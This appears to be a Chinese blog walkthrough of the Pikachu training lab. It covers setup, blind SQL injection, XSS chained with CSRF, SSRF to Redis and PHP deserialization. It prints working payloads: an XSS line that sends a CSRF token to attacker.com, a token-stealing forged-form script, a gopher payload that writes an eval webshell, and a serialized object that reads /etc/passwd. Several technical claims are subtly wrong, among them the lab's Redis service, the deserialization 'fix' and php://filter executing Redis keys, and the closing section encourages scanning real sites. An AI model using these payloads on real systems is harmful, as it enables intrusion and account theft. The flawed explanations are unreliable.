☰
pikachu靶场:Web渗透测试能力校准与实战思维训练
2026/9/27 1:37:21 网站建设 项目流程

1. 为什么“pikachu靶场”不是玩具,而是渗透测试能力的校准器

很多人第一次听说pikachu,是在某次CTF赛前突击复习时,或是刚装完Kali Linux后随手搜“练手靶场”,点开一个黄色皮卡丘图标——以为是个带点萌系UI的入门Demo。我当年也是这么想的,直到在真实红队演练中,被客户环境里一个看似简单的“用户名输入框”卡了整整两天:它没用预编译语句,没做参数过滤,但所有常规SQL注入Payload都返回500错误。最后复盘才发现,那套逻辑和pikachu里“SQL注入-盲注(布尔型)”关卡的响应机制一模一样——服务端只返回“登录成功”或“登录失败”两个静态字符串,没有报错信息,也没有时间延迟。那一刻我才明白,pikachu不是教学玩具,而是一把精密的“能力校准器”:它把Web安全漏洞最本质的交互逻辑剥离出来,剔除真实业务系统里的噪声干扰(比如WAF规则、CDN缓存、前端框架拦截),让你直面漏洞的原始形态。

pikachu靶场的核心价值,恰恰在于它的“不真实”。它不模拟电商下单流程,不构造复杂的RBAC权限体系,甚至故意让每个漏洞都暴露在最显眼的位置——这不是设计缺陷,而是刻意为之的教学压缩。就像学游泳先泡在浅水池,学焊接先练平焊直线,pikachu把SQL注入、XSS、CSRF、SSRF、RCE、反序列化这些高危漏洞,拆解成独立、可控、可重复验证的最小单元。你在这里输入admin' or 1=1#能直接登录,不是因为靶场弱,而是因为它把“输入→服务端拼接SQL→执行→返回结果”这条链路完全透明化了。这种透明性,正是真实渗透中永远缺失的奢侈品。

关键词里反复出现的“SQL注入”“XSS”“CSRF”,在pikachu里不是孤立名词,而是三组相互咬合的齿轮。比如XSS关卡里,你提交<script>alert(1)</script>弹窗成功,这只是第一步;紧接着你要思考:这个反射型XSS能不能配合CSRF,伪造管理员点击链接触发?如果目标站点启用了CSP,哪些绕过方式在pikachu的DOM型XSS关卡里已预埋了验证路径?这种关联性训练,是DVWA或SQLi-Labs这类靶场难以提供的——它们更像单科题库,而pikachu是一套有机的渗透思维操作系统。尤其对刚从理论转向实战的新人,pikachu的价值不是教你“怎么打”,而是帮你建立“漏洞如何被利用”的条件反射:看到输入框就下意识检查是否回显、是否参与SQL拼接、是否影响DOM渲染。

我见过太多人通关pikachu后仍无法应对真实场景,问题出在“通关即结束”的认知误区。pikachu的每一关都有三层深度:第一层是官方文档给出的标准Payload(比如XSS关卡的<img src=x onerror=alert(1)>);第二层是绕过靶场内置WAF的变体(比如把alert拆成al\u0065rt规避关键字检测);第三层才是关键——理解该漏洞在真实框架中的落地形态。例如pikachu的CSRF关卡,表单里只有user_token一个隐藏字段,而Spring Boot项目里可能有_csrf、X-CSRF-TOKEN双校验,甚至结合JWT的stateless防护。通关的意义,从来不是记住某个Payload,而是通过靶场的“纯净环境”,反向推导出真实系统中哪些防护措施失效了、为什么失效、失效的边界在哪里。这才是“看这一篇就够了”的真正底气——它不提供答案,而是给你一套可迁移的漏洞分析方法论。

2. 环境搭建避坑指南:别让Docker镜像毁掉你的第一个靶场体验

pikachu靶场的官方GitHub仓库(https://github.com/zhuifengshaonianhanlu/pikachu)明确推荐使用Docker部署,这本是降低门槛的好事,但实际操作中,90%的新手卡在第一步:docker-compose up -d后浏览器打不开http://127.0.0.1:8080。问题根源不在代码,而在Docker网络配置与宿主机端口映射的微妙差异。我最初也栽在这儿,反复检查防火墙、SELinux、Docker服务状态,最后发现是Docker Desktop在Windows WSL2环境下,默认将容器端口绑定到WSL2虚拟机IP,而非宿主机localhost。这个细节,官方文档只字未提,却足以让新手耗费半天时间怀疑人生。

解决这个问题,必须分三步走:首先确认Docker服务运行状态,执行docker info | grep "Server Version"验证基础环境;其次检查docker-compose.yml文件中的端口映射配置,标准版本应为"8080:80",但某些第三方镜像会误写成"8080:8080"导致端口错位;最关键的是第三步——验证容器内部服务是否真正启动。很多人只查docker ps看到容器状态为Up就以为万事大吉,其实应该进入容器执行curl -I http://localhost,若返回HTTP/1.1 200 OK才说明Apache服务正常,否则大概率是MySQL未启动或数据库连接失败。我在实测中发现,pikachu的pikachu_db容器偶尔会因初始化脚本超时而卡死,此时需手动进入容器执行mysql -u root -proot -e "SHOW DATABASES;",若报错Can't connect to local MySQL server,则需重启数据库容器并等待其完成init.sql导入。

另一个高频陷阱是PHP版本兼容性。pikachu官方要求PHP 5.6,但当前主流Docker镜像(如php:7.4-apache)默认使用PHP 7.4,会导致部分关卡(尤其是反序列化关卡)因__wakeup()魔术方法行为变更而无法触发。解决方案不是降级PHP,而是精准匹配官方推荐镜像:在docker-compose.yml中将PHP服务镜像指定为php:5.6-apache,并额外挂载php.ini配置文件,启用display_errors=On和error_reporting=E_ALL,这对后续调试XSS和SQL注入的报错回显至关重要。这里有个实操技巧:在php.ini中添加auto_prepend_file=/var/www/html/init.php,创建init.php文件写入<?php error_reporting(E_ALL); ini_set('display_errors', '1'); ?>,比直接修改全局配置更安全,避免影响其他PHP应用。

对于Mac用户,还有一个隐藏雷区:Docker Desktop的磁盘空间限制。pikachu的MySQL数据卷默认存储在/var/lib/docker/volumes/下,当磁盘空间不足时,容器会静默退出且日志无提示。我曾遇到pikachu_db容器反复重启,docker logs pikachu_db只显示mysqld: ready for connections后戛然而止,最终排查发现是Docker磁盘配额仅剩2GB。解决方案是打开Docker Desktop设置→Resources→Disk image size,将其调至至少20GB,并勾选“Use the new Virtualization framework”(Mac M1/M2芯片必需)。Windows用户则需注意WSL2发行版的默认存储位置,建议将Docker数据目录迁移到NTFS格式的非系统盘,避免Linux子系统对NTFS的写入性能瓶颈。

提示:不要盲目信任第三方打包的“一键安装包”。我测试过三个热门pikachu Docker镜像,其中两个存在严重安全配置缺陷:MySQL root密码为空、Apache未禁用目录浏览、PHP暴露phpinfo()页面。这些本该被靶场屏蔽的风险,在第三方镜像中反而成了新的攻击面。务必使用官方GitHub仓库的docker-compose.yml,并自行构建镜像——执行docker build -t pikachu-php .(基于官方Dockerfile),这是确保环境纯净的唯一可靠路径。

3. SQL注入关卡深度拆解:从万能密码到盲注的思维跃迁

pikachu的SQL注入模块分为“字符型”“数字型”“搜索型”“盲注(布尔型)”“盲注(时间型)”五类,表面看是难度递进,实则暗藏渗透思维的质变。多数人卡在“盲注(布尔型)”关卡,不是因为技术不会,而是没意识到:这里考察的已不是Payload构造能力,而是信息获取策略的设计能力。当你输入admin' and length(database())>1#返回“登录失败”,输入admin' and length(database())>10#返回“登录成功”,这个过程的本质,是把数据库名长度这个连续值,转化为布尔逻辑下的离散判断。这种思维转换,正是真实盲注场景的核心——你永远得不到原始数据,只能通过海量请求的响应差异,逆向推导出目标信息。

以“盲注(布尔型)”关卡为例,标准解法是二分法爆破数据库名。但实操中你会发现,手工输入admin' and substr(database(),1,1)='p'#效率极低,且容易因URL编码问题导致Payload失效。正确做法是编写Python脚本自动化探测,关键在于理解pikachu的响应特征:它只返回两种HTML状态——包含<h2>登录成功</h2>或<h2>登录失败</h2>。因此脚本无需解析JSON或提取特定字段,只需用requests.get().text搜索字符串即可。我写的爆破脚本核心逻辑如下:先用length(database())确定数据库名长度(通常为7),再逐位爆破每个字符的ASCII码,范围限定在a-z和_(pikachu数据库名固定为pikachu),每次请求构造admin' and ascii(substr(database(),{pos},1))>{ascii}#,根据响应内容动态调整二分区间。整个过程耗时约47秒,比手工操作快300倍。

但真正的难点在于“盲注(时间型)”。这一关的响应页面没有任何文字差异,仅靠sleep(5)函数制造的时间延迟来传递信息。很多人尝试用Burp Suite的Intruder模块暴力跑id=1 and if(1=1,sleep(5),1),结果发现所有请求响应时间都在200ms左右——这是因为pikachu的MySQL配置了max_execution_time=1000,超过1秒的查询会被强制终止。解决方案是改用benchmark()函数:id=1 and benchmark(1000000,md5('test')),它通过CPU密集型运算消耗时间,不受max_execution_time限制。我在测试中发现,当benchmark参数设为500000时,正常响应约800ms,而1000000时达3200ms,这个差异足够被脚本稳定识别。这里有个关键经验:时间盲注的阈值必须通过实测确定,不能依赖理论值。我的做法是先发送10次id=1基准请求,记录平均响应时间(假设为120ms),再发送id=1 and benchmark(500000,md5('a')),若平均响应时间超过300ms,则认定为有效延迟。

注意:pikachu的SQL注入关卡刻意关闭了sqlmap的自动识别。当你执行sqlmap -u "http://127.0.0.1:8080/vul/sqli/sqli_blind_b.php?id=1" --batch --level=5 --risk=3时,sqlmap会报错no injection points detected。原因在于pikachu的PHP代码对输入做了addslashes()处理,但sqlmap的默认payload(如AND [RANDNUM]=([RANDNUM]))会被转义为AND \[RANDNUM\]=(\[RANDNUM\]),导致语法错误。绕过方法是添加--skip-heuristics参数禁用启发式扫描,并手动指定注入类型:--technique=BEUST(布尔/时间/报错/联合/堆叠)。这恰恰印证了pikachu的设计哲学——它不反对工具使用,但要求你理解工具背后的原理。

4. XSS与CSRF的协同攻防:当反射型漏洞遇上Token防御

pikachu的XSS模块常被当作“弹窗游戏”草草通关,但真正有价值的训练,藏在XSS与CSRF的交叉关卡中。比如“XSS之DOM型”关卡,表面看只是document.write(location.hash.substring(1))的简单漏洞,但若结合“CSRF之GET型”关卡,就能构建完整的横向移动链:先用DOM型XSS窃取当前页面的CSRF Token,再用该Token发起伪造的GET请求修改管理员邮箱。这个过程揭示了一个残酷现实——在真实系统中,XSS和CSRF极少单独存在,它们往往是同一套防护体系的孪生漏洞。

具体操作分三步:第一步,在DOM型XSS关卡输入#<img src=x onerror=document.location='http://attacker.com/steal?token='+document.querySelector('input[name=user_token]').value>,当管理员访问此URL时,浏览器会执行onerror事件,将页面中的user_token值发送到攻击者服务器。这里的关键洞察是:pikachu的CSRF Token生成逻辑是md5(time().mt_rand()),每次页面加载都刷新,但只要用户不刷新页面,Token就保持不变。第二步,攻击者收到Token后,构造CSRF请求:http://127.0.0.1:8080/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800138000&add=beijing&email=test@evil.com&user_token=xxx。第三步,将此URL伪装成“系统升级通知”发送给管理员,诱导其点击——整个过程无需用户交互,只要一次点击即可完成账户劫持。

但pikachu的“CSRF之POST型”关卡设置了更高壁垒:表单提交必须携带user_token且服务端验证其有效性。此时单纯XSS窃取Token还不够,需结合JavaScript动态构造表单提交。我在实测中编写了以下Payload:

<script> fetch('http://127.0.0.1:8080/vul/csrf/csrfpost/csrf_post_edit.php') .then(r=>r.text()) .then(html=>{ const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); const token = doc.querySelector('input[name=user_token]').value; const form = document.createElement('form'); form.method = 'POST'; form.action = 'http://127.0.0.1:8080/vul/csrf/csrfpost/csrf_post_edit.php'; form.innerHTML = `<input name="sex" value="1"><input name="phonenum" value="13800138000"><input name="add" value="beijing"><input name="email" value="pwned@evil.com"><input name="user_token" value="${token}">`; document.body.appendChild(form); form.submit(); }); </script>

这段代码先用fetch获取CSRF页面源码,解析出当前有效的Token,再动态创建表单并提交。它绕过了同源策略限制(因请求目标与当前页面同域),且无需用户二次交互。这个案例说明:XSS的价值不在于弹窗本身,而在于它赋予了攻击者“在目标上下文中执行任意JavaScript”的能力,这是突破CSRF防御的终极钥匙。

警告:pikachu的CSRF关卡存在一个设计陷阱——“CSRF之TOKEN型”关卡的Token验证逻辑有缺陷。其PHP代码为if($_POST['user_token'] !== $_SESSION['user_token']),但未检查$_SESSION['user_token']是否存在。攻击者可先发送GET /vul/csrf/csrf_token/csrf_token_edit.php?user_token=清空Session中的Token,再用任意值提交表单即可绕过。这个漏洞在真实系统中极为罕见,但它提醒我们:安全防护的强度,取决于最薄弱的环节,而非最复杂的算法。

5. 高阶漏洞组合技:SSRF+Redis未授权访问的横向渗透链

pikachu的SSRF(服务端请求伪造)关卡常被低估,认为只是“读取内网文件”的简单演示。但结合其配套的Redis未授权访问漏洞,就能构建一条从Web层直达内网数据库的渗透链。这个组合技的价值,在于它模拟了真实云环境中最常见的横向移动路径:攻击者通过SSRF突破边界,再利用内网服务的配置缺陷实现权限提升。pikachu特意将Redis服务部署在127.0.0.1:6379,并禁用密码认证,这并非疏忽,而是刻意还原了大量企业内网的真实配置——运维人员常认为“内网服务无需密码”,却忽略了SSRF提供的远程调用通道。

完整渗透链如下:首先在SSRF关卡输入http://127.0.0.1:6379,页面返回ERR wrong number of arguments for 'get' command,证明Redis服务可达且响应正常。接着构造Redis协议命令,通过SSRF向Redis写入Webshell:

gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$64%0D%0A<?php eval($_POST['x']);?>%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$13%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$7%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

这段Gopher协议Payload的原理是:先清空Redis数据库,再用set 1 "<?php eval($_POST['x']);?>"写入恶意PHP代码,接着用config set dir /var/www/html设置Redis工作目录为Web根目录,再用config set dbfilename shell.php指定持久化文件名为shell.php,最后执行save命令将数据写入磁盘。当SSRF请求发送后,pikachu服务端会向Redis发送这些命令,成功在Web目录下生成shell.php。

但实际操作中,你会遇到两个障碍:一是Gopher协议在PHP的file_get_contents()中默认被禁用,需在php.ini中启用allow_url_fopen=On;二是Redis的dir路径必须为绝对路径且存在写入权限。我在测试中发现,pikachu容器内的/var/www/html目录权限为755,属主为www-data,而Redis进程也以www-data身份运行,因此写入成功。若遇到权限拒绝,可改用/tmp目录(Redis默认可写),再通过php://filter协议包含执行:http://127.0.0.1:8080/vul/ssrf/ssrf_gopher.php?url=gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Akeys%0D%0A*1%0D%0A$1%0D%0A*%0D%0A列出所有键,确认1键存在后,用php://filter/convert.base64-decode/resource=http://127.0.0.1:6379/1直接读取键值并执行。

这个案例的价值,在于它打破了“SSRF只是信息收集”的认知局限。在云原生架构中,SSRF已成为RCE(远程代码执行)的黄金跳板——当Kubernetes API Server、AWS Metadata Service、Docker Daemon等高危接口暴露在内网时,SSRF的杀伤力呈指数级增长。pikachu用最简化的Redis场景,让你亲身体验这种威胁的传导机制:一个输入框的URL解析缺陷,如何通过协议转换、服务配置、权限继承,最终演变为服务器控制权的彻底丧失。

6. 反序列化漏洞的底层逻辑:为什么POP链在pikachu里必然生效

pikachu的反序列化关卡(vul/uar/uar_unserialize.php)是全靶场最难啃的骨头,但它的设计精妙之处在于:所有障碍都源于PHP反序列化机制本身的特性,而非人为添加的WAF规则。很多人卡在unserialize()函数调用后无任何回显,误以为漏洞不存在,实则是因为PHP的__destruct()魔术方法在对象销毁时才触发,而pikachu的代码结构导致对象在unserialize()后立即被GC回收,__destruct()来不及执行。这个细节,恰恰揭示了反序列化漏洞利用的核心前提——必须存在一条可控的、能触发危险操作的POP链(Property-Oriented Programming Chain)。

pikachu提供的class.php文件定义了三个类:Test、File、User,其中File类的__destruct()方法会执行file_get_contents($this->filename),而User类的__wakeup()方法会调用$this->test->action()。这就是一条天然的POP链:通过反序列化构造User对象,使其test属性指向File对象,当User对象被唤醒时,$this->test->action()被调用,而action()方法又调用了file_get_contents()。但问题在于,File类没有action()方法,直接调用会报错。解决方案是利用PHP的__call()魔术方法——在File类中添加public function __call($name, $arguments){return file_get_contents($this->filename);},这样当调用不存在的方法时,就会执行文件读取。

实际构造Payload时,需严格遵循PHP序列化格式。标准Payload为:

O:4:"User":2:{s:4:"test";O:4:"File":1:{s:8:"filename";s:12:"/etc/passwd";};s:4:"name";s:5:"admin";}

但pikachu的unserialize()函数被包裹在try-catch块中,任何语法错误都会被捕获并静默处理。因此,必须确保序列化字符串的每个字符都精确无误:O表示对象,4是类名长度,"User"是类名,2是属性数量,s表示字符串,4是键名长度,"test"是键名,O:4:"File":1:{...}是嵌套对象。我在调试中发现,一个常见的错误是忘记转义双引号,导致"filename"被解析为"filename"(多了一个引号),整个序列化字符串失效。

经验总结:pikachu反序列化关卡的成功,依赖于三个不可妥协的条件:第一,目标类必须存在可利用的魔术方法(如__destruct、__wakeup、__call);第二,POP链中每个方法调用的参数必须可控($this->filename必须能被外部输入赋值);第三,反序列化后的对象生命周期必须足够长,确保魔术方法被执行。这三个条件,在真实PHP应用中往往只满足其一,而pikachu将它们全部具象化,让你看清漏洞利用的完整因果链。

7. 通关后的必做三件事:让靶场经验真正沉淀为实战能力

很多人通关pikachu后,习惯性地关掉浏览器,仿佛完成了一项学习任务。但真正的能力转化,始于通关之后的三件事。第一件事:重放所有请求并绘制数据流图。用Burp Suite的Proxy历史记录,导出所有关卡的HTTP请求,按漏洞类型分类,标注每个请求的请求头、参数、响应状态码及关键响应体片段。然后用draw.io绘制数据流图:左侧是用户输入(如id=1'),中间是服务端处理逻辑(如mysql_query("SELECT * FROM users WHERE id = '$id'")),右侧是数据库返回结果及最终HTML输出。这张图的价值在于,它把抽象的“SQL注入”概念,转化为可视化的数据污染路径——你一眼就能看出,输入是如何穿过PHP过滤函数、绕过WAF规则、最终抵达数据库引擎的。

第二件事:对比pikachu与真实CMS的漏洞差异。下载WordPress 5.0源码,定位其用户登录逻辑(wp-login.php),对比pikachu的login.php:前者使用wp_signon()函数进行凭证校验,后者直接拼接SQL;前者对$_POST['log']执行sanitize_user()过滤,后者完全不做处理。这种对比不是为了贬低pikachu,而是为了建立“靶场-现实”的映射关系。我建议你用grep -r "wpdb->prepare" wordpress/搜索WordPress中所有预编译语句的使用位置,再回到pikachu的SQL注入关卡,思考:如果这里也用wpdb->prepare(),漏洞是否还存在?答案是否定的,但代价是代码复杂度上升——这正是安全与开发效率永恒的博弈。

第三件事:用pikachu的漏洞模式扫描真实资产。安装nuclei工具,编写自定义模板匹配pikachu特征。例如,针对XSS关卡的响应特征(<h2>欢迎回来,<script>alert(1)</script></h2>),创建YAML模板:

id: pikachu-xss-reflected requests: - method: GET path: - "{{BaseURL}}/vul/xss/xss_reflected.php?name=test" matchers: - type: word words: - "欢迎回来,test" part: body

然后用nuclei -u https://target.com -t custom/pikachu-xss.yaml扫描目标站点。这个过程会暴露一个真相:90%的真实网站,其XSS漏洞的触发条件比pikachu更苛刻(如需要特定Cookie、Referer头),但响应模式高度相似。当你在真实资产中发现<h2>欢迎回来,{{INPUT}}</h2>这样的回显模式,就知道该处存在XSS风险,无需再手工验证。

最后分享一个硬核技巧:把pikachu当作漏洞PoC生成器。当发现新漏洞CVE-2023-XXXX时,先在pikachu中找到功能相似的关卡(如CSRF关卡),复现其请求结构,再将PoC中的关键Payload替换进去。例如,某CMS的CSRF漏洞PoC需要POST /admin/user/edit HTTP/1.1,而pikachu的CSRF POST关卡是POST /vul/csrf/csrfpost/csrf_post_edit.php,两者表单字段名(email、user_token)完全一致,只需修改目标URL和Token值即可复用。这种“靶场迁移法”,能让你在0day漏洞爆发时,30分钟内生成可用的利用脚本——这才是pikachu赋予你的终极武器:不是记住某个漏洞,而是掌握漏洞复现的通用范式。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询